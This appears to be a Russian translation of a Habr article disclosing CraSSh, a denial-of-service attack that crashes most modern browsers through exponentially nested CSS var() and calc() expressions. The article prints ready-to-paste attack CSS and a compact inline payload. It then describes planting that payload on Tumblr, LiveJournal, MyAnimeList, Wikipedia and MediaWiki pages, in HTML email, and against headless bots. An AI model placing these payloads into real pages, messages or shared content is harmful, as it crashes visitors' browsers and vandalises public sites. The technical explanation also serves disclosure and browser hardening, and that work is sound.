Хабрахабр

[Перевод] CraSSh: ломаем все современные браузеры вычислениями в CSS

Не хочу читать эту техническую болтовню. Просто повали уже мой браузер.

Что такое CraSSh

CraSSh — это кроссбраузерная чисто декларативная DoS-атака, основанная на плохой обработке вложенных CSS-функций var() и calc() в современных браузерах.

CraSSh действует во всех основных браузерах на десктопах и мобильных устройствах:

  • На движке WebKit/Blink — Chrome, Opera, Safari, даже Samsung Internet на смарт-телевизорах и холодильниках.
    • Android WebView, iOS UIWebView также затронуты, то есть можно обвалить любое приложение со встроенным браузером.
  • На движке Gecko — Firefox и его форки, такие как Tor Browser.
    • Servo не запустился ни на одной из моих машин, поэтому я его не протестировал.
  • На движке EdgeHTML — Edge в Windows, WebView в приложениях UWP (их вообще кто-нибудь использует?)

Браузер IE не затронут, поскольку он не поддерживает функции, на которых основана атака, но у его пользователей немало своих проблем (вероятно, этот браузер можно порушить другими способами — прим. пер.).

Как это работает

Идея CraSSh заключается в том, чтобы заставить браузер вычислить свойство CSS с вложенными вызовами переменных за экспоненциальное время и с огромным использованием памяти.

Атака полагается на три функции CSS:

Переменные CSS (custom properties и var())

Они позволяют объявлять: присваивать и читать переменные:

.variables
{ --variable: 1px; /* declare some variable */ height: var(--variable); /* read the previously declared variable */
}

Переменные не допускают рекурсии (хотя был баг в WebKit, который вызывал бесконечную рекурсию) или циклы, но их можно определить как

выражения calc()

Выражения calc() позволяют выполнять некоторые базовые арифметические операции при описании правил, например, 'width: calc(50% - 10px)'.

calc() позволяет ссылаться на переменные и использовать несколько значений в одном выражении:

.calc
{ --variable: 1px; /* declare a constant */ height: calc(var(--variable) + var(--variable)); /* access --variable twice */
}

Это даёт возможность:

  • линейно увеличивать вычисления в каждом выражении calc() путём добавления ссылок на предыдущие переменные;
  • экспоненциально увеличивать сложность с каждым объявлением переменной с выражением calc(), ссылающимся на другие вычисляемые переменные:

.calc_multiple
{ --variable-level-0: 1px; /* константа */ --variable-level-1: calc(var(--variable-level-0) + var(--variable-level-0)); /* 2 вычисления константы */ --variable-level-2: calc(var(--variable-level-1) + var(--variable-level-1)); /* 2 вызова предыдущей переменной, 4 вычисления константы */ /* ... больше аналогичных объявлений */ --variable-level-n: calc(var(--variable-level-n-1) + var(--variable-level-n-1)); /* 2 вызова предыдущей переменной, 2 ^ n вычислений константы */
}

Хитрость в том, что кэширования значений переменных не происходит, если у неё Это как будто должно вычисляться за экспоненциальное время, но современные браузеры немного умнее, поэтому обычно вычисляют значения переменных один раз, сводя сложность до линейной.

разнородное значение

Разнородная переменная содержит как абсолютные, так и относительные единицы. Технически, это часть calc(), но она заслуживает отдельного упоминания. Она не может быть:

  • рассчитана как абсолютное значение и совместно использована различными приложениями для различных элементов, поскольку зависит от свойств целевого элемента (юниты '%' / 'em');
  • рассчитана как абсолютное значение в одном приложении, потому что в некоторых случаях это приведёт к накоплению ошибок округления, вызывающих странные субпиксельные смещения, которые нарушат сложные макеты (у вас есть 12 столбцов, каждый шириной 1/12 экрана? Не повезло, приятель, они соберутся в новый ряд или оставят неуклюжий промежуток в конце).

Таким образом, это значение каждый раз пересчитывается заново:

.non_cached { --const: calc(50% + 10px); /* остаётся (50% + 10px) */ --variable: calc(var(--const) + var(--const)); /* по-прежнему не вычисляется актуальное значение */ width: var(--variable); /* всё вычисляется здесь */
}

Что касается второго момента, большинство браузеров просто встраивают вложенные переменные с разнородным значением в одно выражение, чтобы избежать ошибок округления:

.mixed { --mixed:calc(1% + 1px); /* разнородная константа */ --mixed-reference: calc(var(--mixed) + var(--mixed)); /* переменная со ссылкой на константу */ --mixed-reference-evaluates-to: calc(1% + 1px + 1% + 1px); /* предыдущая переменная после встраивания */ --mixed-reference-computes-as: calc(2% + 2px); /* сокращённое представление, которое позже будет вычислено как абсолютное значение */
}

Представьте, что в выражении миллионы (или миллиарды) элементов… Движок CSS пытается выделить несколько гигабайт оперативной памяти, сократить выражение, добавить обработчики событий, чтобы свойства можно было пересчитать, когда что-то изменится. В конце концов, это происходит на определённом этапе.

Так, выглядел оригинальный CraSSh:

.crassh { --initial-level-0: calc(1vh + 1% + 1px + 1em + 1vw + 1cm); /* разнородная константа */ --level-1: calc(var(--initial-level-0) + var(--initial-level-0)); /* 2 вычисления */ --level-2: calc(var(--level-1) + var(--level-1)); /* 4 вычисления */ --level-3: calc(var(--level-2) + var(--level-2)); /* 8 вычислений */ --level-4: calc(var(--level-3) + var(--level-3)); /* 16 вычислений */ --level-5: calc(var(--level-4) + var(--level-4)); /* 32 вычисления */ --level-6: calc(var(--level-5) + var(--level-5)); /* 64 вычисления */ --level-7: calc(var(--level-6) + var(--level-6)); /* 128 вычислений */ --level-8: calc(var(--level-7) + var(--level-7)); /* 256 вычислений */ --level-9: calc(var(--level-8) + var(--level-8)); /* 512 вычислений */ --level-10: calc(var(--level-9) + var(--level-9)); /* 1024 вычисления */ --level-11: calc(var(--level-10) + var(--level-10)); /* 2048 вычислений */ --level-12: calc(var(--level-11) + var(--level-11)); /* 4096 вычислений */ --level-13: calc(var(--level-12) + var(--level-12)); /* 8192 вычисления */ --level-14: calc(var(--level-13) + var(--level-13)); /* 16384 вычисления */ --level-15: calc(var(--level-14) + var(--level-14)); /* 32768 вычислений */ --level-16: calc(var(--level-15) + var(--level-15)); /* 65536 вычислений */ --level-17: calc(var(--level-16) + var(--level-16)); /* 131072 вычисления */ --level-18: calc(var(--level-17) + var(--level-17)); /* 262144 вычисления */ --level-19: calc(var(--level-18) + var(--level-18)); /* 524288 вычислений */ --level-20: calc(var(--level-19) + var(--level-19)); /* 1048576 вычислений */ --level-21: calc(var(--level-20) + var(--level-20)); /* 2097152 вычисления */ --level-22: calc(var(--level-21) + var(--level-21)); /* 4194304 вычисления */ --level-23: calc(var(--level-22) + var(--level-22)); /* 8388608 вычислений */ --level-24: calc(var(--level-23) + var(--level-23)); /* 16777216 вычислений */ --level-25: calc(var(--level-24) + var(--level-24)); /* 33554432 вычисления */ --level-26: calc(var(--level-25) + var(--level-25)); /* 67108864 вычисления */ --level-27: calc(var(--level-26) + var(--level-26)); /* 134217728 вычислений */ --level-28: calc(var(--level-27) + var(--level-27)); /* 268435456 вычислений */ --level-29: calc(var(--level-28) + var(--level-28)); /* 536870912 вычисления */ --level-30: calc(var(--level-29) + var(--level-29)); /* 1073741824 вычисления */ --level-final: calc(var(--level-30) + 1px); /* 1073741824 вычисления */ /* ^ на некоторых движках это не вычисляется автоматически -> нужно их где-то использовать */ border-width: var(--level-final); /* <- применяем рассчитанное значение */ /* некоторые движки могут пропустить border-width, если нет style (= пропущено ) */ border-style: solid;
}

<div class="crassh">
Если вы это видите, ваш браузер не поддерживает современный CSS или разработчики исправили ошибку CraSSh
</div>

А вот встроенная версия менее чем в 1000 символов (MediaWiki для демонстрации).

<div style="--a:1px;--b:calc(var(--a) + var(--a));--c:calc(var(--b) + var(--b));--d:calc(var(--c) + var(--c));--e:calc(var(--d) + var(--d));--f:calc(var(--e) + var(--e));--g:calc(var(--f) + var(--f));--h:calc(var(--g) + var(--g));--i:calc(var(--h) + var(--h));--j:calc(var(--i) + var(--i));--k:calc(var(--j) + var(--j));--l:calc(var(--k) + var(--k));--m:calc(var(--l) + var(--l));--n:calc(var(--m) + var(--m));--o:calc(var(--n) + var(--n));--p:calc(var(--o) + var(--o));--q:calc(var(--p) + var(--p));--r:calc(var(--q) + var(--q));--s:calc(var(--r) + var(--r));--t:calc(var(--s) + var(--s));--u:calc(var(--t) + var(--t));--v:calc(var(--u) + var(--u));--w:calc(var(--v) + var(--v));--x:calc(var(--w) + var(--w));--y:calc(var(--x) + var(--x));--z:calc(var(--y) + var(--y));--vf:calc(var(--z) + 1px);border-width:var(--vf);border-style:solid;">CraSSh</div>

Кроме отгона пользователей от собственного сайта или блога на платформе, которая дает полный доступ к HTML, как Tumblr (пример со сбоем браузера) или LiveJournal (пример со сбоем браузера), CraSSh позволяет:

  • Поломать UI на тех страницах сайта, которые под вашим контролем и позволяют определить произвольный CSS, даже не предоставляя шаблонов HTML. Мне удалось сломать MyAnimeList (пример со сбоем браузера). Reddit не подвержен этой атаке, потому что их парсер не поддерживает переменные CSS.
  • Поломать UI на публичных страницах с открытым доступом на запись, которые позволяют вставлять некоторые теги HTML со встроенными стилями. На Википедии мой аккаунт забанили за вандализм, хотя я разместил пример со сбоем браузера на личной странице. Атака затрагивает большинство проектов на основе MediaWiki. В принципе, поломанную страницу уже нельзя будет восстановить через UI.
  • Вызвать сбой почтовых клиентов с поддержкой HTML
    • Это довольно сложно, поскольку почтовые клиенты удаляют/уменьшают HTML и обычно не поддерживают современные функции CSS, которые использует CraSSh
    • CraSSh работает в
      • Samsung Mail для Android
    • CraSSh не работает в
      • Outlook (веб)
      • Gmail (веб)
      • Gmail (Android)
      • Yahoo (веб)
      • Yandex (веб)
      • Protonmail (веб)
      • Zimbra (веб, автономная установка)
      • Windows Mail (Windows, очевидно)
    • Должен работать в
      • Outlook для Mac (внутренне использует Webkit)
    • Другие не тестировали.
  • Мне просто пришла больная идея, что CraSSh можно использовать против ботов на основе CEF/PhantomJS. Атакуемый сайт может внедрять код CraSSh с заголовками (как здесь), а не показывать обычную ошибку 403. IIRC, ошибки обрабатываются по-разному во встраиваемых движках, поэтому
    • это, вероятно, приведет к сбою бота (никто не ожидает переполнения стека или чего-то в headless-браузере)
    • очень трудно для отладки, так как он даже не отображается в теле ответа, который, скорее всего, попадёт в логи

  • Помните тот пост Линуса?

    Похоже, мир IT-безопасности достиг нового дна.

    Если вы работаете в безопасности и думаете, что у вас есть совесть, то мне кажется, можете написать:

    Честно-честно» «Нет, правда, я не шлюха.

    Я и раньше думал, что вся индустрия гнилая, но это уже становится смешно. на своей визитке.

    В какой момент люди из безопасности признáют, что обожают привлекать к себе внимание?

    Я пошёл ещё дальше, и сделал аж целый сайт, посвящённый простому багу, потому что удовольствие работы до 4 утра и внимание к достигнутым результатам — это те немногие вещи, которые удерживают меня от депрессии и нырка на этот симпатичный тротуар перед офисом.

  • Кроме того, я ненавижу фронтенд, который составляет часть мой работы в качестве fullstack-разработчика, и такие вещи помогают немного расслабиться.

Сейчас я участвую в удивительном проекте, о котором мы расскажем чуть позже. Следите за новостями в твиттере.

Теги
Показать больше

Похожие статьи

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *

Кнопка «Наверх»
Закрыть